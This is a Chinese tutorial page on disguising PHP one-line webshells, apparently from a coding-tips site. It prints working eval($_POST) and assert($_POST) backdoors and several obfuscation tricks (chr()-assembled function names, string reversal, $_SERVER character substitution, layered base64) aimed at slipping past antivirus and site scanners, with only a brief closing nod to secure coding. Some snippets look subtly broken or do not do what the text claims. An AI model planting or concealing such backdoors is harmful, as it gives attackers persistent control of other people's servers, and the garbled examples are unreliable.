php一句话木马变形技巧

PHP一句话木马指的是由一条PHP语句组成的一个后门程序,具有隐蔽性高、使用方便等优点。为了防止被杀软或网站审查系统检测出程序的特征,黑客们会进行木马变形。

一、基本架构

了解一句话木马变形技巧前,首先需要了解一句话木马的基本架构。一般情况下,它的基本架构由连接器和木马执行器两个部分组成:

连接器:

一句话木马变形技巧中最常见的是将连接器中‘eval($_POST['pass'])’改成一些被杀软无法识别的变量形式,并添加制造混淆和嵌套的特殊语法,例如:

@eval(urldecode(preg_replace('/[a-z]/ie','chr(ord("$0")-1)',base64_decode('php_shell_code_base64_here'))));

木马执行器:

通常包括系列系统操作。基本语法为:

if (get_magic_quotes_gpc()) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = (!function_exists("get_magic_quotes_gpc") || !get_magic_quotes_gpc()) ? stripslashes_array($_POST) : $_POST;
    $_COOKIE = stripslashes_array($_COOKIE) ;
}
eval('/*your malicious code here*/')

二、变形技巧

一些常见的PHP一句话木马变形技巧如下:

1. 字符串逆置

将一些字符串反转顺序,例如:

$abc = "\x74\x72\x79";
$abc_arr = explode(",", chunk_split($abc, 2, ","));
$abc = implode("", array_reverse($abc_arr));

2. 替换引号

由于一些审查系统会检测匹配引号双引号的存在,如果可以做出以下替换就会让木马更具灵活性,例如:

$_GET{'xxx'}=str_replace(chr(34),'',$cname); 

3. 隐藏函数

为了不让特定函数能被检查到,可以使用魔术变量或间接调用等方法,例如:

call_user_func_array(call_user_func(chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110),array(097,114,103,118)),array());

三、示例演示

1. 示例1:字符串替换

例如以下原生的PHP一句话木马代码:

<?php set_magic_quotes_runtime(0); @eval($_POST[act]);?>

经过字符串替换可以变形为以下形式:

<?php $vv = strval($_SERVER); $vv{15} = '$'; $x = substr($vv, 0, 29).chr(34).$vv{28}.$vv{29}.$vv{12}.$vv{2}.$vv{23}.$vv{14}.$vv{16}.$vv{12}.$vv{20}.$vv{2}.$vv{25}.$vv{17}.$vv{2}.$vv{27}.'";'; $f = chr(102).chr(105).'lter'; $$f($x); unset($x); ?>

其中,$vv$_SERVER的字符串,将其中的一些字符替换,最终得到新的执行器。

2. 示例2:进制转换

以下是原始代码:

<?php $fornix = $_POST['pass'];@assert($fornix);?>

修改后的新代码,使用进制转换实现变形:

<?php 
$c=1870; $d=1234567890;
$c=989998415454557780121;$ef=array((($d>>24)^($c>>16)&0xff),(($d>>16)^($c>>8)&0xff),(($d^$c)&0xff),(($d>>8)^($c>>24)&0xff));
$qmpl="\xff\xee\xff\xea\x0c\x00";
$vvv=$qmpl{0}; $bs=5;$mmd=$qmpl{5}; for($j=1;$j<strlen($qmpl);$j++){$bv=$qmpl{$j}; $vvv.=chr(ord($bv)+$bs); $bs+=3; $bs%=7;}; $vvv.=chr($mmd); for($jj=0;$jj<4;$jj++){$vvv.=chr($ef[$jj]);};
$vvv=base64_encode($vvv); $gg=str_replace("=","",base64_encode($vvv)."yj");@assert(base64_decode(strrev($gg))); ?>

以上代码会对传输的content进行进制转换,再用base64进行多次编码,并添加一些特地构造出来的数据,最后用assert函数进行调用。通过这种方式来进行变形能够降低木马在杀软中的与众不同,提高木马的存活性。

希望以上内容能够给您提供一些帮助,在编写安全代码的同时也能够更好地了解常见的木马变形技术。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:php一句话木马变形技巧 - Python技术站

(0)
上一篇 2023年5月23日
下一篇 2023年5月23日

相关文章

  • 微信小程序 商城开发(ecshop )简单实例

    下面是“微信小程序 商城开发(ecshop)简单实例”的完整攻略。 准备工作 首先,在开始进行微信小程序商城开发之前,我们需要先进行以下准备工作:- 安装好微信开发者工具- 在 ecshop 官网 上下载 ecshop 版本的目录结构,并将其放到服务器上- 使用 phpMyAdmin 创建好相关数据库,并将 ecshop 安装包中的 SQL 文件导入数据库中…

    PHP 2023年5月23日
    00
  • PHP sprintf() 函数的应用(定义和用法)

    下面是关于 PHP sprintf() 函数的应用的完整攻略。 1. 定义 PHP sprintf() 函数是用于将格式化的字符串写入变量而不是直接输出的函数。常见用法是将变量插入到另一个字符串中,这样可以创建更具可读性的字符串。 2. 用法 2.1 基本用法 sprintf() 函数使用格式字符串和可选的参数列表来实现其功能。默认情况下,函数将返回格式化的…

    PHP 2023年5月25日
    00
  • PHP CURL 多线程操作代码实例

    下面我会详细讲解“PHP CURL 多线程操作代码实例”的完整攻略。 什么是PHP CURL和多线程操作 PHP CURL PHP CURL是PHP中的一个扩展库,提供了通过URL进行数据传输的能力。可以通过CURL发送HTTP/HTTPS请求,上传文件,下载文件等等。PHP CURL的使用很简单,只需要通过CURL库提供的函数,设置请求参数,然后通过cur…

    PHP 2023年5月27日
    00
  • PHP中的多行字符串传递给JavaScript的两种方法

    下面是 PHP 中多行字符串传递给 JavaScript 的两种方法的完整攻略: 方法一:使用json_encode函数 json_encode 函数是将 PHP 数组或对象转化为 JSON 格式的函数。通过将多行字符串作为数组元素,先将其转化为 PHP 数组,再将数组使用 json_encode 函数转化为 JSON 格式的字符串,最后将 JSON 字符串…

    PHP 2023年5月26日
    00
  • php 表单数据的获取代码

    获取表单数据是在 PHP 中非常常见的任务。在提交表单之后,你需要从表单提交的数据中获取并使用这些数据。使用 PHP,以下是获取表单数据的完整攻略: 第一步:为提交表单设置 action 属性 在你的表单标签中设置 action 属性,并将其设置为提交表单时要处理数据的 PHP 文件的名称。例如: <form action="submit.p…

    PHP 2023年5月23日
    00
  • php实现分页功能的详细实例方法

    针对”php实现分页功能的详细实例方法”,我为您提供以下攻略: 1. 分页基本原理 分页是指将大数据集分割成若干个小数据块,每次只加载当前页的数据块,以便加快数据查找速度和减轻服务器的负担。分页的基本原理是将需要分页的数据通过查询语句限制每次读取的数量,然后根据当前页码和每页数量,计算出当前页要展示的数据,并将这些数据呈现给用户。最常见的实现方式是使用 LI…

    PHP 2023年5月27日
    00
  • 为你总结一些php系统类函数

    下面是详细讲解“为你总结一些PHP系统类函数”的完整攻略: 什么是系统类函数 系统类函数是指 PHP 内置的一系列函数,用来实现一些基础的、常见的功能,例如:数组操作、字符串操作、文件操作等。 PHP系统类函数的分类 PHP的系统函数分为以下几类: 数组函数(array) 字符串函数(string) 文件函数(file) 目录函数(dir) 时间日期函数(d…

    PHP 2023年5月23日
    00
  • php微信高级接口调用方法(自定义菜单接口、客服接口、二维码)

    PHP微信高级接口调用方法 自定义菜单接口 步骤一:定义菜单结构 在使用自定义菜单接口之前,我们必须先定义一个菜单的结构,例如: { "button": [ { "name": "菜单1", "sub_button": [ { "type": "vi…

    PHP 2023年5月30日
    00
合作推广
合作推广
分享本页
返回顶部